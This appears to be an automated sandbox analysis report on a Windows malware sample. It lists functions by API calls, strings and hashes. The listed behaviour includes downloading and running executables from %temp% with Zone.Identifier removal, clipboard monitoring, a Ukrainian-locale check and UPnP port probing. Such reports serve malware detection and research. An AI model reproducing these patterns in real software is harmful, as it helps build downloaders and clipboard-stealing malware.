lstrlenA.KERNEL32(00411760,00000000,?,00000010), ref: 0040D7DC
sendto.WS2_32(000000FF,00411760,00000000), ref: 0040D7EB
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040D805

Part of subcall function 0040D890: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040D8DE
Part of subcall function 0040D890: Sleep.KERNEL32(000003E8), ref: 0040D8EE
Part of subcall function 0040D890: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040D90B
Part of subcall function 0040D890: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040D921
Part of subcall function 0040D890: StrChrA.SHLWAPI(?,0000000D), ref: 0040D94E

Strings

239.255.255.250, xrefs: 0040D76A

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: 79f07a221ebe8da2b3f6cc1201247ff83fcd4ebf719402c26e706ca4d9eeb493
Instruction ID: cd66526dcba05d1bd7c9b39ec2501b61c01db5f9fe0ef632d0235bd6d7545576
Opcode Fuzzy Hash: 79f07a221ebe8da2b3f6cc1201247ff83fcd4ebf719402c26e706ca4d9eeb493
Instruction Fuzzy Hash: F64137B5E00208EBDB04DFE4D889BEEBBB5AF48304F108169E515B7390E7B45A44CB69

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 13d0b41af5316ea83091654edbd74b2561ef0770db19727e5a4322e68b78e0ff
Instruction ID: 37c3663fbc3c265b2fc21df898a790ae91858f9cd77d7d33374cf85f68206479
Opcode Fuzzy Hash: 13d0b41af5316ea83091654edbd74b2561ef0770db19727e5a4322e68b78e0ff
Instruction Fuzzy Hash: 0331C871A443016BE320DF649C46F9BB6E0AF48B10F50493DF655EB2D0D3B5D544879A

Function 0040CCF0 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040CD02
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040CD28
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040CD5F
GetTickCount.KERNEL32 ref: 0040CD74
Sleep.KERNEL32(00000001), ref: 0040CD94
GetTickCount.KERNEL32 ref: 0040CD9A

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction ID: 0ae774020e9f5877292fe20f0fc2b5ec497076074ae846a5bd2c446efb985cc9
Opcode Fuzzy Hash: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction Fuzzy Hash: 4431FC74900209EFCB04DFA8D988BEE7BB1FF44315F10867AE825A7290D7749A51CF95

Function 0040AA80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040AAAD

Part of subcall function 0040AA40: inet_addr.WS2_32(0040AAC1), ref: 0040AA4A
Part of subcall function 0040AA40: gethostbyname.WS2_32(?), ref: 0040AA5D

socket.WS2_32(00000002,00000001,00000000), ref: 0040AACD
connect.WS2_32(000000FF,?,00000010), ref: 0040AAE6
getsockname.WS2_32(000000FF,?,00000010), ref: 0040AB18

Strings

www.update.microsoft.com, xrefs: 0040AAB7

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 17f60f9418bba267ceb1c0f8ef6a4cf2a322d26a33b8be3941e3699853ecfadc
Instruction ID: 53d455f177803832f36bb1991f027e84745f2e467cc2e97abaa02536582c95dc
Opcode Fuzzy Hash: 17f60f9418bba267ceb1c0f8ef6a4cf2a322d26a33b8be3941e3699853ecfadc
Instruction Fuzzy Hash: 09210BB5E103099BCB04DFE8D946AEEBBB5AF4C300F104169E605F7390E7745A45CBAA

Function 0040F0B1 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 195nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 0040F162

Strings

oA, xrefs: 0040F263
oA, xrefs: 0040F181
oA, xrefs: 0040F2C0

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: MemoryQueryVirtual
String ID: oA$ oA$ oA
API String ID: 2850889275-3725432611
Opcode ID: 2b8d52b38e95f23bdc674a950ebd3d706a7c1f13ecb44ec4cb7d27a974556661
Instruction ID: 156301bb8e4ac48afa8ff6eb2b3679a4760495b1ce114817f826733a91984271
Opcode Fuzzy Hash: 2b8d52b38e95f23bdc674a950ebd3d706a7c1f13ecb44ec4cb7d27a974556661
Instruction Fuzzy Hash: 3561D635710612CFDB35CE29C88066A33A2EB85354B25857FD805EBAD5E73ADC4AC68C

Function 0040BE80 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(Bz@,00000000,00000000,00000001,F0000040,?,?,0040BED9,Bz@,00000004,?,?,0040BF0E,000000FF), ref: 0040BE93
CryptGenRandom.ADVAPI32(Bz@,?,00000000,?,?,0040BED9,Bz@,00000004,?,?,0040BF0E,000000FF), ref: 0040BEA9
CryptReleaseContext.ADVAPI32(Bz@,00000000,?,?,0040BED9,Bz@,00000004,?,?,0040BF0E,000000FF), ref: 0040BEB5

Strings

Bz@, xrefs: 0040BE8F, 0040BEA5, 0040BEB1, 0040BE92, 0040BEA8, 0040BEB4

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Bz@
API String ID: 1815803762-793989200
Opcode ID: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction ID: 6606508483a264dc8c12e3925f56bba8ecc3e33b87176868a4d93c44792bd7d2
Opcode Fuzzy Hash: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction Fuzzy Hash: 87E01275650208BBDB24CFD1EC49FDA776CEB48700F108154F70997280DBB5EA4097A8

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040D55D,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: 68d947c41bdf9a0382415b4c621d22e40d460daea97f1b1ba8e6dd9fd87ffbf0
Instruction ID: f9ba2cfc99a050ce4a8bfcbff2653574801cca82506c6568c29975d90a0f09d7
Opcode Fuzzy Hash: 68d947c41bdf9a0382415b4c621d22e40d460daea97f1b1ba8e6dd9fd87ffbf0
Instruction Fuzzy Hash: 61118974A417106FE320DF749C0AF877AE0AF04B54F50892DF699E72E1E3B49544879A

Function 0040E730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22stringCOMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A,?,?,00407678), ref: 0040E743
strcmp.NTDLL ref: 0040E752

Strings

UKR, xrefs: 0040E749

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: d79b0aba27e6a1949038eec9da23d17ae17cae41793c3222a97234fc67286889
Instruction ID: f5851dfa2a24cd6eecb4ca89505c7c91e938839c44774f0d29bfbb74be006053
Opcode Fuzzy Hash: d79b0aba27e6a1949038eec9da23d17ae17cae41793c3222a97234fc67286889
Instruction Fuzzy Hash: 10E02B36E44308B6D900B6B15E03FEA772C5711B09F0045B6FF14A71C1F5B5922AC39B

Function 0040EAE0 Relevance: 73.7, APIs: 34, Strings: 8, Instructions: 227
filenetworksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040EAE9
srand.MSVCRT ref: 0040EAF0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040EB10
strlen.NTDLL ref: 0040EB1A
mbstowcs.NTDLL ref: 0040EB31
rand.MSVCRT ref: 0040EB39
rand.MSVCRT ref: 0040EB4D
wsprintfW.USER32 ref: 0040EB74
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040EB8A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EBB9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040EBE8
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040EC1B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040EC4C
CloseHandle.KERNEL32(000000FF), ref: 0040EC5B
wsprintfW.USER32 ref: 0040EC74
DeleteFileW.KERNEL32(?), ref: 0040EC84
Sleep.KERNEL32(000007D0), ref: 0040ECA5
ExitProcess.KERNEL32 ref: 0040ECCD
DeleteFileW.KERNEL32(?), ref: 0040ECE3
CloseHandle.KERNEL32(000000FF), ref: 0040ECF0
InternetCloseHandle.WININET(00000000), ref: 0040ECFD
InternetCloseHandle.WININET(00000000), ref: 0040ED0A
Sleep.KERNEL32(000003E8), ref: 0040ED15
rand.MSVCRT ref: 0040ED2A
Sleep.KERNEL32 ref: 0040ED3B
rand.MSVCRT ref: 0040ED41
rand.MSVCRT ref: 0040ED55
wsprintfW.USER32 ref: 0040ED7C
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040ED99
wsprintfW.USER32 ref: 0040EDB9
DeleteFileW.KERNEL32(?), ref: 0040EDC9
Sleep.KERNEL32(000007D0), ref: 0040EDEA
ExitProcess.KERNEL32 ref: 0040EE11
DeleteFileW.KERNEL32(?), ref: 0040EE20

Strings

%temp%, xrefs: 0040EB0B
%s\%d%d.exe, xrefs: 0040EB68
.Mw, xrefs: 0040EC5B, 0040ECF0
%s\%d%d.exe, xrefs: 0040ED70
%s:Zone.Identifier, xrefs: 0040EDAD
%s:Zone.Identifier, xrefs: 0040EC68
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040EB85
]u@, xrefs: 0040EE06, 0040ECC2

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$Internetrand$CloseDeleteHandleSleepwsprintf$ExitOpenProcess$CountCreateDownloadEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$]u@$.Mw
API String ID: 3709769524-1426338499
Opcode ID: f19e2e49e4841eae6c8170c725b321c375bdafcc36d8594c690cf09b2969f998
Instruction ID: cec73e08c6f056f0168379cb50c3066ff26982e4471096ca0769119a3115f73e
Opcode Fuzzy Hash: f19e2e49e4841eae6c8170c725b321c375bdafcc36d8594c690cf09b2969f998
Instruction Fuzzy Hash: 5E81E9B5900318ABE720DB61DC49FEA3379AB88701F0484FDF609A51C1DAB99BD4CF59

Function 0040AEA0 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ADD0: gethostname.WS2_32(?,00000100), ref: 0040ADEC
Part of subcall function 0040ADD0: gethostbyname.WS2_32(?), ref: 0040ADFE

strcmp.NTDLL ref: 0040AED0

Strings

.127., xrefs: 0040AF1D
127., xrefs: 0040AEE1
.127, xrefs: 0040AEFF
.192., xrefs: 0040AF7C
.192, xrefs: 0040AF5E
.10, xrefs: 0040AFBD
0.0.0.0, xrefs: 0040AEBE
192., xrefs: 0040AF40
10., xrefs: 0040AF9F
.10., xrefs: 0040AFDB

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: 7160486eb3816073c061a65ecf3a9a7d1c79094514eb017bcdc9a8df335f0911
Instruction ID: 458019ee7e4258451e0266341ac37eb9dcc64f8272ac2f4812142232ba39784f
Opcode Fuzzy Hash: 7160486eb3816073c061a65ecf3a9a7d1c79094514eb017bcdc9a8df335f0911
Instruction Fuzzy Hash: 406162B4A00305BBDF00EF65EC56BAA37659B10348F14847EE8496A3C1E73DE964C79E

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

ilci, xrefs: 004019E1
PCOI, xrefs: 0040198A

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 33a2561f4f33f1c23cf89dbb798d82106e513be12dc6673eed8a381d7532f20f
Instruction ID: eeda51e0e3d97f01d1798d9b0ac8f7385833fedac5999c9123737cb6f89c21c8
Opcode Fuzzy Hash: 33a2561f4f33f1c23cf89dbb798d82106e513be12dc6673eed8a381d7532f20f
Instruction Fuzzy Hash: 25412771601201ABCB20DF74DC8CB9B77A9AF44720F04863DF955A72E1DB78E885CB99

Function 0040E4F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E518
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040E568
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040E57B
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E5B4
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E5EA
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040E615
HttpSendRequestA.WININET(00000000,00411AB8,000000FF,00009E34), ref: 0040E63F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E67E
memcpy.NTDLL(00000000,?,00000000), ref: 0040E6D0
InternetCloseHandle.WININET(00000000), ref: 0040E701
InternetCloseHandle.WININET(00000000), ref: 0040E70E
InternetCloseHandle.WININET(00000000), ref: 0040E71B

Strings

POST, xrefs: 0040E5DE
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040E576
<, xrefs: 0040E520

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: c7654f31e89d91c1c7a0e640e7adfa6a7e0684f185013bf68e28b6683bc3e05a
Instruction ID: e955f883797a19afba403fb4bb1b0f9258be9a3219da5a2a8556d37a4b3763d0
Opcode Fuzzy Hash: c7654f31e89d91c1c7a0e640e7adfa6a7e0684f185013bf68e28b6683bc3e05a
Instruction Fuzzy Hash: 73515C71A01228ABDB26CF54CC44BDD77BCAB48705F1085E9F60DA6280CBB9ABC4CF54

Function 00401600 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

.Mw, xrefs: 004016FF
ilci, xrefs: 00401630
PCOI, xrefs: 0040160D

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci$.Mw
API String ID: 2403999931-2607080227
Opcode ID: c44d603fe9a75a3e452b6e95f97135d336e9b1c5a023eff3a58c0289fb86f454
Instruction ID: 0b50c8f8eba6d918d1ff78dc69fee2fe4193f5a447302b2e0c9d98a55ef35816
Opcode Fuzzy Hash: c44d603fe9a75a3e452b6e95f97135d336e9b1c5a023eff3a58c0289fb86f454
Instruction Fuzzy Hash: 6731A671900705ABC710AF70EC48B97B7B8BF09300F048A3EE559A7690D779F894CB98

Function 00405970 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040597C
SetClipboardViewer.USER32(?), ref: 004059C8
SetWindowLongW.USER32(?,000000EB,?), ref: 004059DB
IsClipboardFormatAvailable.USER32(0000000D), ref: 00405A30
OpenClipboard.USER32(00000000), ref: 00405A77
GetClipboardData.USER32(00000000), ref: 00405A89
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405B90
ChangeClipboardChain.USER32(?,?), ref: 00405B9E
DefWindowProcA.USER32(?,?,?,?), ref: 00405BB4

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: 350a456a18ca66a485c2eebe1f768ad2515d325cb078b6b0c19f9934b7d85170
Instruction ID: 2c6a07511b676f4089081adff438ee2b95572153aa6d486a7a165f398962c3b3
Opcode Fuzzy Hash: 350a456a18ca66a485c2eebe1f768ad2515d325cb078b6b0c19f9934b7d85170
Instruction Fuzzy Hash: 9A711A74A00608EBDF14DFA4D988BAF77B4EF48301F14852AE505B6290D779AA80CF69

Function 00405880 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 00405898
GetModuleHandleW.KERNEL32(00000000), ref: 004058B0
Sleep.KERNEL32(00000001), ref: 004058C4
GetTickCount.KERNEL32 ref: 004058CA
GetTickCount.KERNEL32 ref: 004058D3
wsprintfW.USER32 ref: 004058E6
RegisterClassExW.USER32(00000030), ref: 004058F3
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040591C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00405937
TranslateMessage.USER32(?), ref: 00405945
DispatchMessageA.USER32(?), ref: 0040594F
ExitThread.KERNEL32 ref: 00405961

Strings

0, xrefs: 004058A0
%x%X, xrefs: 004058DA

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

